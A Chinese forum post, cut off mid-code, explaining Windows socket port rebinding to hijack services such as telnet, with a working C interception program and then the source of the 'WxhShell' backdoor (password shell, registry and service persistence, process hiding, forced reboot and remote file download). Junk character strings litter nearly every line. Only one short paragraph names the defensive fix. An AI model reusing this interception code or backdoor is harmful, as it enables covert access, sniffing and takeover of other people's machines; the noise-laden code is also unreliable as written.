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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ORD@+ {  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C A VqjT7  
^W{+?q'  
  saddr.sin_family = AF_INET; 0ZlF#PJA  
LcI,Dy|P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -$!`8[fM  
ayTEQS  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "z8L}IC!e5  
.n'z\] -/Q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ppP7jiGo  
bzz=8n  
  这意味着什么?意味着可以进行如下的攻击: IDyf9Zra?  
!7]4sXL{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 % V/J6  
]W-l1  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) e?rp$kq7  
nJ<h}*[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 > r6`bh [4  
S;[9 hI+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  dq?{?~3  
T.]+T[}!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 x|&A^hQ  
]#z^G  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 epqX2`!V  
,IX:u1mO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f$[6]7P  
fH-V!QYGF  
  #include >vF=}1_L  
  #include X`YAJG  
  #include B[w~bW|K  
  #include    zc%#7"FM  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,#@B3~giC  
  int main() sS7r)HV&GI  
  { VC,wQb1J/  
  WORD wVersionRequested; ?{ns1nW:  
  DWORD ret; dOh`F~ Y)e  
  WSADATA wsaData; pHSq,XP-  
  BOOL val; zZE 2%fqM  
  SOCKADDR_IN saddr; R/&Bze  
  SOCKADDR_IN scaddr; 8p p^ w  
  int err; }@>=,A4Y  
  SOCKET s; 7vax[,a I  
  SOCKET sc; t`1E4$Bb\  
  int caddsize; G'T/I\tB  
  HANDLE mt; SO^:6GuJ  
  DWORD tid;   xj~5/)XX|X  
  wVersionRequested = MAKEWORD( 2, 2 ); N,6(|,m  
  err = WSAStartup( wVersionRequested, &wsaData ); $\h\, N$y  
  if ( err != 0 ) { g&I/b/A  
  printf("error!WSAStartup failed!\n"); ~vgm; O  
  return -1; `],'fT|,S  
  } K"B2 SsC  
  saddr.sin_family = AF_INET; #&a-m,Y$sx  
   3eX;T +|o  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 U`Bw2Vdk]S  
8DHohhN  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +dIDFSd  
  saddr.sin_port = htons(23); !l-^JPb  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T>,3V:X  
  { d#6'dKV$  
  printf("error!socket failed!\n"); :\[W]  
  return -1; Exd$v"s Y  
  } tp"dho  
  val = TRUE; %QH "x`;  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4 qMO@E_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) IMjz#|c  
  { uSh!A  
  printf("error!setsockopt failed!\n"); No#1Ikw  
  return -1; %GG:F^X#  
  } t ' _Au8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; f6@fi`U ,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 n<\ W Vi  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @y?<Kv}s  
 &0! f_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) z=C'qF`  
  { (T+fO}0  
  ret=GetLastError(); WxwSb`U|  
  printf("error!bind failed!\n"); _EMq"\ND  
  return -1; g#b[-)Qx  
  } ) in hPd  
  listen(s,2); ;T6{J[ h  
  while(1) C":i56  
  { m:U.ao6  
  caddsize = sizeof(scaddr); gw[\7  
  //接受连接请求 aD)XxXwozm  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )*< =:  
  if(sc!=INVALID_SOCKET) $h"Ht2/ J  
  { CZaUrr  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I{#&!h>]U  
  if(mt==NULL) T;!7GW4E ?  
  { tg%s#lLeH  
  printf("Thread Creat Failed!\n"); >; a_i>[  
  break; a![x^@nF  
  } pd2Lc $O@  
  } n-iy;L^b  
  CloseHandle(mt); bV|(V>  
  } ]r++YIg!j  
  closesocket(s); |KEq-  
  WSACleanup();  =d07c  
  return 0; "A\.`*6  
  }   .u[hK  
  DWORD WINAPI ClientThread(LPVOID lpParam) FgA'X<  
  { =D88jkQe"  
  SOCKET ss = (SOCKET)lpParam; /HCd52  
  SOCKET sc; []B9Me  
  unsigned char buf[4096]; uFxhr2 <z  
  SOCKADDR_IN saddr; "]*16t%Z%x  
  long num; f`Km ctI  
  DWORD val; f44b=,Lry5  
  DWORD ret; :6R0=oz  
  //如果是隐藏端口应用的话,可以在此处加一些判断 mY[s2t  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `-qRZh@E  
  saddr.sin_family = AF_INET; {c5%.<O  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); m?LnO5Vs  
  saddr.sin_port = htons(23); Gd^K,3:. T  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s%Ez/or(T  
  { JBX#U@k>I  
  printf("error!socket failed!\n"); {|)u).n|  
  return -1; S-)mv'Al'F  
  } 4?Mb>\n%<^  
  val = 100; w D|p'N  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) CZE!rpl  
  { =R+z\`2  
  ret = GetLastError(); dMkDNaH,  
  return -1; NR3]MGBKv  
  } eteq Mg}M  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xDtq@Rb}  
  { =apcMW(zn  
  ret = GetLastError(); qm30,$\c`~  
  return -1; bpq2TgFj  
  } o#(z*v@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8j~:p!@  
  { ] Tc!=SV  
  printf("error!socket connect failed!\n"); cH$zDm1  
  closesocket(sc); )na 8a!  
  closesocket(ss); 7PE3>cD  
  return -1; Vq[L4  
  } ^(,qkq'u D  
  while(1) `<R;^qCt  
  { Z:F5cXt<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 l+# l\q%l  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2Eq?^ )s  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 QiDf,$t|,  
  num = recv(ss,buf,4096,0); GL4-v[]6I  
  if(num>0) a`SQcNBf*  
  send(sc,buf,num,0); 77y_?di^I  
  else if(num==0) kaSi sjd  
  break; "&jWC  
  num = recv(sc,buf,4096,0); ;qM I3wF  
  if(num>0) w7n6@"q  
  send(ss,buf,num,0); c,WRgXL  
  else if(num==0) P}=u8(u  
  break; #is1y3yh  
  } tnx)_f  
  closesocket(ss); vfb~S~|U6g  
  closesocket(sc); i={ :6K?^  
  return 0 ; q:OSQ~U_  
  } h@nNm30i  
v0pyyUqS  
5_4Y/2_|  
========================================================== \etuIFQ#U  
uc6;%=%+  
下边附上一个代码,,WXhSHELL S;0,UgB1  
Q)"L8v v  
========================================================== ( e> .hfrs  
HS1Gy/6'  
#include "stdafx.h" ;Od;q]G7L  
hAHZN^x&  
#include <stdio.h> X^L)5n+$X  
#include <string.h> M>Y ge~3  
#include <windows.h> :H}a/ x*ur  
#include <winsock2.h> D9OI ",h  
#include <winsvc.h> RI,Z&kXj2o  
#include <urlmon.h> V{51wnxT  
ppv/ A4Kv  
#pragma comment (lib, "Ws2_32.lib") Fi8'3/q-^  
#pragma comment (lib, "urlmon.lib") `Qzga}`"]  
Vq7L:,N9  
#define MAX_USER   100 // 最大客户端连接数 &r0b~RwUv  
#define BUF_SOCK   200 // sock buffer [/.5{|&GSt  
#define KEY_BUFF   255 // 输入 buffer iUcDj:  
FScE3~R  
#define REBOOT     0   // 重启 aBV{Xr~#(  
#define SHUTDOWN   1   // 关机 %m\dNUz4g  
tx-HY<  
#define DEF_PORT   5000 // 监听端口 SoS GQ&k  
$6p_`LD0  
#define REG_LEN     16   // 注册表键长度 GWs[a$|  
#define SVC_LEN     80   // NT服务名长度 ] i;xeo,  
.(!> *ka|  
// 从dll定义API  ;d"F'd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  ZzDE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7C7eX J9q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /mELnJ^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yFfa/d  
fX)C8J^=G  
// wxhshell配置信息 cO$ PK  
struct WSCFG { wKe$(>d"L  
  int ws_port;         // 监听端口 M[wd.\ %  
  char ws_passstr[REG_LEN]; // 口令 &_Py{Cv@Dw  
  int ws_autoins;       // 安装标记, 1=yes 0=no Nr.maucny  
  char ws_regname[REG_LEN]; // 注册表键名 b_Us%{  
  char ws_svcname[REG_LEN]; // 服务名 K]mR9$/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z<@Kkbj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <|= UrG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2FHWOy /N@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v634{:'e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B1]5%B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2l43/aCq  
UL0%oJ#  
}; >UTAk  
RfP>V/jy5  
// default Wxhshell configuration } $:uN  
struct WSCFG wscfg={DEF_PORT, OLAw Rha  
    "xuhuanlingzhe", ?A|8J5E V  
    1, H ]BH  
    "Wxhshell", hr%O4&sa  
    "Wxhshell", \k?uh+xl  
            "WxhShell Service", 9Vp|a&Ana  
    "Wrsky Windows CmdShell Service", FI,>v`  
    "Please Input Your Password: ", *Vk%"rwaG  
  1, /I2RU2|B  
  "http://www.wrsky.com/wxhshell.exe", &V;^xMO!  
  "Wxhshell.exe" ?b?`(JTR  
    }; ;k6>*wFl|!  
np|3 os  
// 消息定义模块 #BQ7rF7CNE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *%JncK '  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K\5'pp1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; : `D[0  
char *msg_ws_ext="\n\rExit."; l#P)9$%  
char *msg_ws_end="\n\rQuit."; LM:|Kydp3  
char *msg_ws_boot="\n\rReboot..."; hX#s3)87  
char *msg_ws_poff="\n\rShutdown..."; J)O1)fR  
char *msg_ws_down="\n\rSave to "; 3e UTV<!  
nBs%k!RR  
char *msg_ws_err="\n\rErr!"; qx0RCP /s  
char *msg_ws_ok="\n\rOK!"; _%G)Uz{3  
Yk',a$.S  
char ExeFile[MAX_PATH]; ]"SH pq  
int nUser = 0; 5m,{?M`  
HANDLE handles[MAX_USER]; J[ 9yQ  
int OsIsNt; $~UQKv>  
%JBFG.+  
SERVICE_STATUS       serviceStatus; +hdD*}qauC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %GUu{n<6  
4&r+K`C0  
// 函数声明 5ru&In&  
int Install(void); Jd_w:H.  
int Uninstall(void); h>v;1Q O9D  
int DownloadFile(char *sURL, SOCKET wsh); :O:Rfmr~  
int Boot(int flag); Q9X7- \n  
void HideProc(void); bSmF"H0cP  
int GetOsVer(void); ,: X+NQ  
int Wxhshell(SOCKET wsl); _RG!lmJV  
void TalkWithClient(void *cs); eto3dJ!R  
int CmdShell(SOCKET sock); VO ^ [7Y  
int StartFromService(void); B9`^JYT<  
int StartWxhshell(LPSTR lpCmdLine); /E'c y  
h?wNmLre  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x2B~1edf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +W+O7SK\y  
td^2gjr^5  
// 数据结构和表定义 Uq/#\7/rL  
SERVICE_TABLE_ENTRY DispatchTable[] = Ui6f>0?  
{ f(.@]eu X  
{wscfg.ws_svcname, NTServiceMain}, reml|!F-)  
{NULL, NULL} 3nt&Sf  
}; wCiDvHF5+C  
n`";ctQT  
// 自我安装 w[w{~`([",  
int Install(void) W69 -,w/  
{ l,Un7]*  
  char svExeFile[MAX_PATH]; %FnaS u  
  HKEY key; 55xv+|k  
  strcpy(svExeFile,ExeFile); 4`@]jm  
|ubDudzp  
// 如果是win9x系统,修改注册表设为自启动 ?c)PBJ+]  
if(!OsIsNt) { V6l*!R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZN!OM)@:!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uN bOtA  
  RegCloseKey(key); IWeQMwg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { usiv`.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qM F'&  
  RegCloseKey(key); '$u3i #. \  
  return 0; 6|U0"C#]  
    } t ?8 ?Ok  
  } dj*%^cI  
} ) |`eCzCB  
else { m7X&"0X  
+}c '4hRv  
// 如果是NT以上系统,安装为系统服务 #*uSYGdc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 65bLkR{0  
if (schSCManager!=0) %Kd&A*  
{ -o\$.Q3  
  SC_HANDLE schService = CreateService z'a#lA.$}  
  ( G)\s{qk  
  schSCManager, c;_GZ}8  
  wscfg.ws_svcname, ?(GMe>  
  wscfg.ws_svcdisp, WTPp/Nq'  
  SERVICE_ALL_ACCESS, U JG)-x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Pxu!,Mi[d  
  SERVICE_AUTO_START, Z;shFMu  
  SERVICE_ERROR_NORMAL, 7|3Qcn7P)@  
  svExeFile, wsp&U .z  
  NULL, <N"t[N70;  
  NULL, p D!IB`cA4  
  NULL, {<~0nLyJS  
  NULL, }J .f 5WaG  
  NULL o Xwoi!  
  ); KN U/Kc#  
  if (schService!=0) vTN/ho,H  
  { $|.x!sA  
  CloseServiceHandle(schService); 7"F w8;k  
  CloseServiceHandle(schSCManager); .{D[!Dp#h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dDN#>|  
  strcat(svExeFile,wscfg.ws_svcname); ~[XDK`B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L%`~`3%n-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jI@0jxF  
  RegCloseKey(key); -e#YWMo(  
  return 0; r,=xI` XH  
    } E",s]  
  } 5)4*J.  
  CloseServiceHandle(schSCManager); <{m!.9g9  
} 4s/4z@3a  
} \FN"0P(G  
X0 &1ICZ  
return 1; ,c"_X8Fkx$  
} QytqO {B^  
2%0z PflT  
// 自我卸载 r$=MBeT  
int Uninstall(void) sKIWr{D  
{ b?7?iV4  
  HKEY key; uy\< t  
T/G1v;]  
if(!OsIsNt) { a$Eqe_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F7J-@T<  
  RegDeleteValue(key,wscfg.ws_regname); &,+G}  
  RegCloseKey(key); " |RP_v2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <4}zl'.  
  RegDeleteValue(key,wscfg.ws_regname); P(G$@},W  
  RegCloseKey(key); B9|!8V  
  return 0; L*bUjR,C  
  } zR h1  
} fV*x2g7w  
} Gxv@a   
else { F.c`0u;=  
.$)'7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #C,M8~Q7  
if (schSCManager!=0) =]E(iR_&  
{ I=l() ET=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g[Ah> 5  
  if (schService!=0) ;[WW,,!Y  
  { %@q52ZQ  
  if(DeleteService(schService)!=0) { 6XUcJ0  
  CloseServiceHandle(schService); $s.:wc^  
  CloseServiceHandle(schSCManager); _Hi;Y  
  return 0; 3 D,PbAd  
  } J]i=SX+ 9  
  CloseServiceHandle(schService); !>b>"\b  
  } i`7{q~d=  
  CloseServiceHandle(schSCManager); iaXNf ])?  
} P{5p'g ,  
} t,= ta{ a  
 CJg &  
return 1; T+NEw8C?/  
} wxpD{P  
6~?7CK  
// 从指定url下载文件 I<|)uK7  
int DownloadFile(char *sURL, SOCKET wsh) E-_)w  
{ VaQ>g*(I  
  HRESULT hr; ;%2/  
char seps[]= "/"; m8$6FN  
char *token; 7CYu"+Ea  
char *file; &0SGAJlec  
char myURL[MAX_PATH]; Je2o('MA  
char myFILE[MAX_PATH]; 0z/tceW'F  
is?`tre\P  
strcpy(myURL,sURL); :s+AIo6  
  token=strtok(myURL,seps); rxCEOG  
  while(token!=NULL) jV8mn{<  
  { +`9 ]L]J]4  
    file=token; 2<>n8K  
  token=strtok(NULL,seps); g 'c4&Do  
  } #)q}Jw4]j  
_CAW D;P  
GetCurrentDirectory(MAX_PATH,myFILE); tY !fO>Fn~  
strcat(myFILE, "\\"); ~1wAk0G`n  
strcat(myFILE, file); xB3;%Lc  
  send(wsh,myFILE,strlen(myFILE),0); Htl6Mr*{  
send(wsh,"...",3,0); ^DXERt&3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }$#e&&)n  
  if(hr==S_OK) +mhYr]Z  
return 0; =$Sf]L  
else { ,.1KtrSN  
return 1; ,)'!E^n  
*XS@Ku  
} P 482D)  
iN+Dmq5  
// 系统电源模块 LP_d}ve  
int Boot(int flag) QZef=  
{ i0{pm q  
  HANDLE hToken; x68J [; jm  
  TOKEN_PRIVILEGES tkp; lG>rf*ei~  
l"RX`N@In  
  if(OsIsNt) { H`]nY`HYg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hJ.XG<?]$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0vmMNF  
    tkp.PrivilegeCount = 1; YNc%[S[u^1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?|TVz!3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ur={+0 y  
if(flag==REBOOT) { 1c&/&6 #5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Jx1oK  
  return 0; 6[wej$ u  
} (*7edc"F  
else { P~redX=t@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kU_bLC?>D  
  return 0; E:xpma1Qf  
} kLMg|48fdI  
  } [Av87!kJ!X  
  else { 5[`!\vCiZ  
if(flag==REBOOT) { \6)l(b;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5fv eQI~!  
  return 0; g[*+R9'  
} #tN)OZA  
else { o4o&}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s#;|8_L M  
  return 0; ncb?iJ/b^  
} \    
} +N"A5U  
Qc\JUm]  
return 1; ':!w%& \  
} !tCw)cou  
=+~e44!~D  
// win9x进程隐藏模块 k6ER GQ9|I  
void HideProc(void) f% ZqK_CW  
{ [0yKd?e  
hEsCOcEG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YZ:YYcr  
  if ( hKernel != NULL ) C/"fS#<  
  { w4:S>6X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QUb#;L@okn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n%I%Kbw  
    FreeLibrary(hKernel); ! 1C3{  
  } s6OnHX\it7  
*6e`km  
return; Vi23pDZ5  
} V;L^q?v !  
x8.7])?w  
// 获取操作系统版本 ~IZ'zuc  
int GetOsVer(void) ->6 /L)  
{ k^ J~l=?v  
  OSVERSIONINFO winfo; )^ R]3!v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Zq2dCp%  
  GetVersionEx(&winfo); 24Z7;'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %Z 9<La  
  return 1; !e&ZhtTuC  
  else `Q1S8i$  
  return 0; r|:|\"Yk  
} A`Z!=og=  
]7O)iq%  
// 客户端句柄模块 -2o4v#d  
int Wxhshell(SOCKET wsl) VxLq,$B76  
{ (WR&Vt4Rh  
  SOCKET wsh; ;i^p6b j  
  struct sockaddr_in client; T.<er iv  
  DWORD myID; 49nZWv48"_  
Zn1+} Z@I  
  while(nUser<MAX_USER) kwMuL>5  
{ yTz@q>6s-  
  int nSize=sizeof(client); } Ga@bY6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \o?zL7  
  if(wsh==INVALID_SOCKET) return 1; skR/Wf9DH  
2WIL0Siwl  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Pr{?A]dQ  
if(handles[nUser]==0) ?Bq"9*q  
  closesocket(wsh); -6;0 x  
else Z}T<^  F  
  nUser++; L^KGY<hp4  
  } O}MY:6Pe  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [^A.$,  
Jn +[:s.  
  return 0; ^ox^gw)  
} q5 I2dNE  
1B+MCt4  
// 关闭 socket Zd1+ZH  
void CloseIt(SOCKET wsh) /[VafR!  
{ ! o:m*:  
closesocket(wsh); v$K`C;  
nUser--; 'v* =}k  
ExitThread(0); }$hxD9z  
} W*QD'  
; @ h{-@  
// 客户端请求句柄 -?!|W-}@G=  
void TalkWithClient(void *cs) "L1cHP~d  
{ ]3 YJE P  
SGZOfTcY  
  SOCKET wsh=(SOCKET)cs; F_/]9tz?;  
  char pwd[SVC_LEN]; _K )B  
  char cmd[KEY_BUFF]; zawU  
char chr[1]; 7fLLV2  
int i,j; mk~i (Ee  
K%Mm'$fTw  
  while (nUser < MAX_USER) { >^Klq`"?g=  
a^ <  
if(wscfg.ws_passstr) { ({yuwH?tH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cmm"K[>Rx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LU_@8i:  
  //ZeroMemory(pwd,KEY_BUFF); ilw<Q-o4(  
      i=0; KM g`O3_16  
  while(i<SVC_LEN) { =%znY`0b56  
;o,t *  
  // 设置超时 b3wE8Co  
  fd_set FdRead; $)mq  
  struct timeval TimeOut; %.r{+m  
  FD_ZERO(&FdRead); r) T^ Td1  
  FD_SET(wsh,&FdRead); $yIcut7  
  TimeOut.tv_sec=8; VQZ3&]o  
  TimeOut.tv_usec=0; F8;M++  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TYw0#ZXo  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g^NdN46%  
5~<> h~yJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k~>9,=::d  
  pwd=chr[0]; DifRpj I-0  
  if(chr[0]==0xd || chr[0]==0xa) { N;>>HN[bBP  
  pwd=0; fGcAkEstT!  
  break; d@b0z$<s  
  } rFM`ne<zh  
  i++; ,ZJI]Q=!  
    } Z@nM\/vLA  
)F0 _V 4  
  // 如果是非法用户,关闭 socket 'X_iiR8n@p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  @zEEX9U  
} DdJxb{y7  
z_*]joL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JS642T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e!l!T@ pf  
n>Y3hY  
while(1) { RsIEY5Q  
2xZg, \  
  ZeroMemory(cmd,KEY_BUFF); q =b.!AZy  
/_rQ>PgSZW  
      // 自动支持客户端 telnet标准   (s %T1 8  
  j=0; i92{N$*x  
  while(j<KEY_BUFF) { kI<C\ *N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^LfCLI9Z  
  cmd[j]=chr[0]; iH9g5G`O  
  if(chr[0]==0xa || chr[0]==0xd) { $ N5VoK  
  cmd[j]=0; k)'hNk"x  
  break; iv?'&IUfK  
  } i 6kW"5t  
  j++; iVd*62$@$  
    } MnO,Cd6{%d  
^8o'\V"m^  
  // 下载文件 h.%VWsAO7  
  if(strstr(cmd,"http://")) { @\i6m]\X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); RI:x`do  
  if(DownloadFile(cmd,wsh)) 6]\F_Z41  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nR6~oB{-  
  else .i"v([eQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zpZlA_   
  } WnLgpt2G  
  else { \u2K?wC  
vYL{5,t {1  
    switch(cmd[0]) { @ ~ N:F~  
  4(R O1VWsb  
  // 帮助 J@oGAa%3)  
  case '?': { //JF$o=)D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %aaOws  
    break; @I]uK[qd  
  } ]"dZE2!  
  // 安装 j23OgbI  
  case 'i': { b*nyt F  
    if(Install()) ;J2U5Y NO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gnl6>/L,  
    else $9y]>R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }kT;UdIu;  
    break; %{yr#F=t#]  
    } nqBZp N ^  
  // 卸载 bFVz ;  
  case 'r': { 9| v  
    if(Uninstall()) vROl}s;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8doT`rI1  
    else :GIY"l'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .Y&_k  
    break; 7WiVor$g-  
    } 6](vnS;  
  // 显示 wxhshell 所在路径 itm;,Sbg  
  case 'p': { l'W?X '  
    char svExeFile[MAX_PATH]; 3SpDV'}  
    strcpy(svExeFile,"\n\r"); FMwT4]y  
      strcat(svExeFile,ExeFile); Ufv{6"sH  
        send(wsh,svExeFile,strlen(svExeFile),0); ";`ddN3  
    break; {uM0J$P:  
    } E;$t|~ #  
  // 重启 !.+iA=K{  
  case 'b': { !#rZ eDmw  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~`#.ZMO  
    if(Boot(REBOOT)) )FMpfC>An  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3a:(\:?z  
    else { R=i$*6}a  
    closesocket(wsh); "h7Z(Y  
    ExitThread(0); u,PrEmy-  
    } H5,{Z  
    break; =V"ags   
    } L FHyiIO  
  // 关机 @IB8(TZ5I  
  case 'd': { "3Dvc7V  
